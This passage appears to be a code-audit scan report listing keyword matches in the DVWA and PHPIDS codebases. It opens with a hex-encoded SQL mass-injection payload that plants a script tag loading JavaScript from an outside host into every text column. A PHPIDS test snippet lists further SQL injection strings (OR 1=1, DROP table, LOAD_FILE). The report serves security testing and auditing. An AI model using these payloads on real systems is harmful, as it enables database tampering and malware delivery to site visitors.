'DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);';</code></pre> </div> </div> </div> </div> <div class='signature_32f68a60cef40faedbc6af20298c1a1e signature_group_sql signature_group'> <a name='s-32f68a60cef40faedbc6af20298c1a1e'></a> <h3> <code>DELETE</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","32f68a60cef40faedbc6af20298c1a1e")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrValidator.php</span>:<span class='line_number'>102</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>100- ); 101- } else { 102: // system never heard of the attribute? <span class='match_highlight'>DELETE</span>! 103- $result = false; 104- } 105-</code></pre> </div> </div> </div> </div> <div class='signature_bf8f3be424eb6a72b21549fbb24ffb57 signature_group_sql signature_group'> <a name='s-bf8f3be424eb6a72b21549fbb24ffb57'></a> <h3> <code>DROP</code> <span class='signature_count'>(7)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","bf8f3be424eb6a72b21549fbb24ffb57")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>602</span> <span class='match_count'>(1/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>600- $exploits = array(); 601- $exploits[] = '" OR 1=1#'; 602: $exploits[] = '; <span class='match_highlight'>DROP</span> table Users --'; 603- $exploits[] = '/**/S/**/E/**/L/**/E/**/C/**/T * FROM users WHERE 1 = 1'; 604- $exploits[] = 'admin\'--'; 605- $exploits[] = 'SELECT /*!32302 1/0, */ 1 FROM tablename'; 606: $exploits[] = '10;<span class='match_highlight'>DROP</span> members --'; 607- $exploits[] = ' SELECT IF(1=1,\'true\',\'false\')'; 608- $exploits[] = 'SELECT CHAR(0x66)'; 609- $exploits[] = 'SELECT LOAD_FILE(0x633A5C626F6F742E696E69)';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>44</span> <span class='match_count'>(2/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>41- 42- CREATE DATABASE IF NOT EXISTS `phpids` DEFAULT CHARACTER 43- SET utf8 COLLATE utf8_general_ci; 44: <span class='match_highlight'>DROP</span> TABLE IF EXISTS `cache`; 45- 46- #now select the created datbase and create the table 47-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>41</span> <span class='match_count'>(3/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>38- * 39- CREATE DATABASE IF NOT EXISTS `phpids` DEFAULT CHARACTER 40- SET utf8 COLLATE utf8_general_ci; 41: <span class='match_highlight'>DROP</span> TABLE IF EXISTS `intrusions`; 42- CREATE TABLE IF NOT EXISTS `intrusions` ( 43- `id` int(11) unsigned NOT null auto_increment, 44- `name` varchar(128) NOT null,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>16</span> <span class='match_count'>(4/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13-} 14- 15-// Create database 16:$drop_db = "<span class='match_highlight'>DROP</span> DATABASE IF EXISTS dvwa;"; 17- 18-if( !@pg_query($drop_db) ) { 19- dvwaMessagePush( "Could not drop existing database<br />SQL: " . pg_last_error() );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>39</span> <span class='match_count'>(5/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>36- 37-// Create table 'users' 38- 39:$drop_table = "<span class='match_highlight'>DROP</span> TABLE IF EXISTS users;"; 40- 41-if( !pg_query($drop_table) ) { 42- dvwaMessagePush( "Could not drop existing users table<br />SQL: " . pg_last_error() );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>75</span> <span class='match_count'>(6/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>72- 73-// Create guestbook table 74- 75:$drop_table = "<span class='match_highlight'>DROP</span> table IF EXISTS guestbook;"; 76- 77-if( !@pg_query($drop_table) ) { 78- dvwaMessagePush( "Could not drop existing users table<br />SQL: " . pg_last_error() );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>15</span> <span class='match_count'>(7/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-} 13- 14-// Create database 15:$drop_db = "<span class='match_highlight'>DROP</span> DATABASE IF EXISTS dvwa;"; 16-if( !@mysql_query ( $drop_db ) ) { 17- dvwaMessagePush( "Could not drop existing database<br />SQL: ".mysql_error() ); 18- dvwaPageReload();</code></pre> </div> </div> </div> </div> <div class='signature_0a83d15fde12983f199bdeb76667660f signature_group_sql signature_group'> <a name='s-0a83d15fde12983f199bdeb76667660f'></a> <h3> <code>TRUNCATE</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","0a83d15fde12983f199bdeb76667660f")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>248</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>246- 247- try { 248: $handle->query('<span class='match_highlight'>TRUNCATE</span> ' . 249- $this->config['table'].''); 250- $statement = $handle->prepare(' 251- INSERT INTO `' .</code></pre> </div> </div> </div> </div> <div class='signature_5af07d9c08fbb9e886057c245d6ace79 signature_group_developer_notes signature_group'> <a name='s-5af07d9c08fbb9e886057c245d6ace79'></a> <h3> <code>@todo</code> <span class='signature_count'>(33)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","5af07d9c08fbb9e886057c245d6ace79")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/ExtractStyleBlocks.php</span>:<span class='line_number'>38</span> <span class='match_count'>(1/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>36- /** 37- * Removes inline <style> tags from HTML, saves them for later use 38: * <span class='match_highlight'>@todo</span> Extend to indicate non-text/css style blocks 39- */ 40- public function preFilter($html, $config, $context) { 41- $tidy = $config->get('FilterParam', 'ExtractStyleBlocksTidyImpl');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Composite.php</span>:<span class='line_number'>17</span> <span class='match_count'>(2/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- 15- /** 16- * List of HTMLPurifier_AttrDef objects that may process strings 17: * <span class='match_highlight'>@todo</span> Make protected 18- */ 19- public $defs; 20-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Multiple.php</span>:<span class='line_number'>19</span> <span class='match_count'>(3/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>16- 17- /** 18- * Instance of component definition to defer validation to. 19: * <span class='match_highlight'>@todo</span> Make protected 20- */ 21- public $single; 22- 23- /** 24- * Max number of values allowed. 25: * <span class='match_highlight'>@todo</span> Make protected 26- */ 27- public $max; 28-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/FontFamily.php</span>:<span class='line_number'>5</span> <span class='match_count'>(4/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Validates a font family list according to CSS spec 5: * <span class='match_highlight'>@todo</span> whitelisting allowed fonts would be nice 6- */ 7-class HTMLPurifier_AttrDef_CSS_FontFamily extends HTMLPurifier_AttrDef 8-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Enum.php</span>:<span class='line_number'>15</span> <span class='match_count'>(5/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- 13- /** 14- * Lookup table of valid values. 15: * <span class='match_highlight'>@todo</span> Make protected 16- */ 17- public $valid_values = array(); 18-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TokenFactory.php</span>:<span class='line_number'>12</span> <span class='match_count'>(6/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9- * Other then that, there's not much point as we don't 10- * maintain parallel HTMLPurifier_Token hierarchies (the main reason why 11- * you'd want to use an abstract factory). 12: * <span class='match_highlight'>@todo</span> Port DirectLex to use this 13- */ 14-class HTMLPurifier_TokenFactory 15-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php</span>:<span class='line_number'>28</span> <span class='match_count'>(7/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- * @note Whether or not unrecognized children are silently dropped or 26- * translated into text depends on the child definitions. 27- * 28: * <span class='match_highlight'>@todo</span> Enable nodes to be bubbled out of the structure. 29- */ 30- 31-class HTMLPurifier_Strategy_FixNesting extends HTMLPurifier_Strategy</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php</span>:<span class='line_number'>68</span> <span class='match_count'>(8/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>65- /** 66- * Generates the file path to the serial file corresponding to 67- * the configuration and definition name 68: * <span class='match_highlight'>@todo</span> Make protected 69- */ 70- public function generateFilePath($config) { 71- $key = $this->generateKey($config);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php</span>:<span class='line_number'>78</span> <span class='match_count'>(9/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>75- /** 76- * Generates the path to the directory contain this cache's serial files 77- * @note No trailing slash 78: * <span class='match_highlight'>@todo</span> Make protected 79- */ 80- public function generateDirectoryPath($config) { 81- $base = $this->generateBaseDirectoryPath($config);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php</span>:<span class='line_number'>88</span> <span class='match_count'>(10/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>85- /** 86- * Generates path to base directory that contains all definition type 87- * serials 88: * <span class='match_highlight'>@todo</span> Make protected 89- */ 90- public function generateBaseDirectoryPath($config) { 91- $base = $config->get('Cache', 'SerializerPath');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php</span>:<span class='line_number'>385</span> <span class='match_count'>(11/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>382- * it is different, and you'll probably have to modify your lists 383- * @param $list String list to parse 384- * @param array($allowed_elements, $allowed_attributes) 385: * <span class='match_highlight'>@todo</span> Give this its own class, probably static interface 386- */ 387- public function parseTinyMCEAllowedList($list) { 388-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache.php</span>:<span class='line_number'>6</span> <span class='match_count'>(12/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Abstract class representing Definition cache managers that implements 5- * useful common methods and is a factory. 6: * <span class='match_highlight'>@todo</span> Create a separate maintenance file advanced users can use to 7- * cache their custom HTMLDefinition, which can be loaded 8- * via a configuration directive 9: * <span class='match_highlight'>@todo</span> Implement memcached 10- */ 11-abstract class HTMLPurifier_DefinitionCache 12-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DirectLex.php</span>:<span class='line_number'>11</span> <span class='match_count'>(13/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>8- * it can be four times faster than HTMLPurifier_Lexer_PEARSax3, although it 9- * pales in comparison to HTMLPurifier_Lexer_DOMLex. 10- * 11: * <span class='match_highlight'>@todo</span> Reread XML spec and document differences. 12- */ 13-class HTMLPurifier_Lexer_DirectLex extends HTMLPurifier_Lexer 14-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PEARSax3.php</span>:<span class='line_number'>17</span> <span class='match_count'>(14/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- * don't use it. The unit tests do perform the tests on the SAX parser too, but 15- * whatever it does for poorly formed HTML is up to it. 16- * 17: * <span class='match_highlight'>@todo</span> Generalize so that XML_HTMLSax is also supported. 18- * 19- * @warning Entity-resolution inside attributes is broken. 20- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/AutoParagraph.php</span>:<span class='line_number'>6</span> <span class='match_count'>(15/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Injector that auto paragraphs text in the root node based on 5- * double-spacing. 6: * <span class='match_highlight'>@todo</span> Ensure all states are unit tested, including variations as well. 7: * <span class='match_highlight'>@todo</span> Make a graph of the flow control for this Injector. 8- */ 9-class HTMLPurifier_Injector_AutoParagraph extends HTMLPurifier_Injector 10-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php</span>:<span class='line_number'>250</span> <span class='match_count'>(16/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>247- /** 248- * Takes a piece of HTML and normalizes it by converting entities, fixing 249- * encoding, extracting bits, and other good stuff. 250: * <span class='match_highlight'>@todo</span> Consider making protected 251- */ 252- public function normalize($html, $config, $context) { 253-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php</span>:<span class='line_number'>284</span> <span class='match_count'>(17/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>281- 282- /** 283- * Takes a string of HTML (fragment or document) and returns the content 284: * <span class='match_highlight'>@todo</span> Consider making protected 285- */ 286- public function extractBody($html) { 287- $matches = array();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php</span>:<span class='line_number'>4</span> <span class='match_count'>(18/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-/** 4: * <span class='match_highlight'>@todo</span> Unit test 5- */ 6-class HTMLPurifier_ContentSets 7-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy.php</span>:<span class='line_number'>6</span> <span class='match_count'>(19/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Abstract class for a set of proprietary modules that clean up (tidy) 5- * poorly written HTML. 6: * <span class='match_highlight'>@todo</span> Figure out how to protect some of these methods/properties 7- */ 8-class HTMLPurifier_HTMLModule_Tidy extends HTMLPurifier_HTMLModule 9-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy.php</span>:<span class='line_number'>35</span> <span class='match_count'>(20/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>32- /** 33- * Lazy load constructs the module by determining the necessary 34- * fixes to create and then delegating to the populate() function. 35: * <span class='match_highlight'>@todo</span> Wildcard matching and error reporting when an added or 36- * subtracted fix has no effect. 37- */ 38- public function setup($config) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/CSSDefinition.php</span>:<span class='line_number'>266</span> <span class='match_count'>(21/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>263- /** 264- * Performs extra config-based processing. Based off of 265- * HTMLPurifier_HTMLDefinition. 266: * <span class='match_highlight'>@todo</span> Refactor duplicate elements into common class (probably using 267- * composition, not inheritance). 268- */ 269- protected function setupConfigStuff($config) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme/mailto.php</span>:<span class='line_number'>8</span> <span class='match_count'>(22/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- 6-/** 7- * Validates mailto (for E-mail) according to RFC 2368 8: * <span class='match_highlight'>@todo</span> Validate the email address 9: * <span class='match_highlight'>@todo</span> Filter allowed query parameters 10- */ 11- 12-class HTMLPurifier_URIScheme_mailto extends HTMLPurifier_URIScheme {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>15</span> <span class='match_count'>(23/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- * otherwise, you run the risk of missing a parameter and then 13- * being stumped when a configuration directive doesn't work. 14- * 15: * <span class='match_highlight'>@todo</span> Reconsider some of the public member variables 16- */ 17-class HTMLPurifier_Config 18-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php</span>:<span class='line_number'>8</span> <span class='match_count'>(24/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- * caching and fallbacks. 6- * @note Thanks to MediaWiki for the general logic, although this version 7- * has been entirely rewritten 8: * <span class='match_highlight'>@todo</span> Serialized cache for languages 9- */ 10-class HTMLPurifier_LanguageFactory 11-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php</span>:<span class='line_number'>15</span> <span class='match_count'>(25/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- * correspond to the variables in HTMLPurifier_HTMLDefinition. 13- * However, the prefix info carries no special meaning in these 14- * objects (include it anyway if that's the correspondence though). 15: * <span class='match_highlight'>@todo</span> Consider making some member functions protected 16- */ 17- 18-class HTMLPurifier_HTMLModule</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php</span>:<span class='line_number'>5</span> <span class='match_count'>(26/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Generates HTML from tokens. 5: * <span class='match_highlight'>@todo</span> Refactor interface so that configuration/context is determined 6- * upon instantiation, no need for messy generateFromTokens() calls 7: * <span class='match_highlight'>@todo</span> Make some of the more internal functions protected, and have 8- * unit tests work around that 9- */ 10-class HTMLPurifier_Generator</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Generator.php</span>:<span class='line_number'>169</span> <span class='match_count'>(27/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>166- 167- /** 168- * Escapes raw text data. 169: * <span class='match_highlight'>@todo</span> This really ought to be protected, but until we have a facility 170- * for properly generating HTML here w/o using tokens, it stays 171- * public. 172- * @param $string String data to escape for HTML.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector.php</span>:<span class='line_number'>13</span> <span class='match_count'>(28/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- * are best described HTMLPurifier_Strategy_MakeWellFormed->processToken() 11- * documentation. 12- * 13: * <span class='match_highlight'>@todo</span> Allow injectors to request a re-run on their output. This 14- * would help if an operation is recursive. 15- */ 16-abstract class HTMLPurifier_Injector</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language.php</span>:<span class='line_number'>39</span> <span class='match_count'>(29/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>36- 37- /** 38- * Has the language object been loaded yet? 39: * <span class='match_highlight'>@todo</span> Make it private, fix usage in HTMLPurifier_LanguageTest 40- */ 41- public $_loaded = false; 42-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language.php</span>:<span class='line_number'>114</span> <span class='match_count'>(30/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>111- * @param $key string identifier of message 112- * @param $args Parameters to substitute in 113- * @return string localised message 114: * <span class='match_highlight'>@todo</span> Implement conditionals? Right now, some messages make 115- * reference to line numbers, but those aren't always available 116- */ 117- public function formatMessage($key, $args = array()) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/HTMLDefinition.php</span>:<span class='line_number'>234</span> <span class='match_count'>(31/33)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>231- /** 232- * 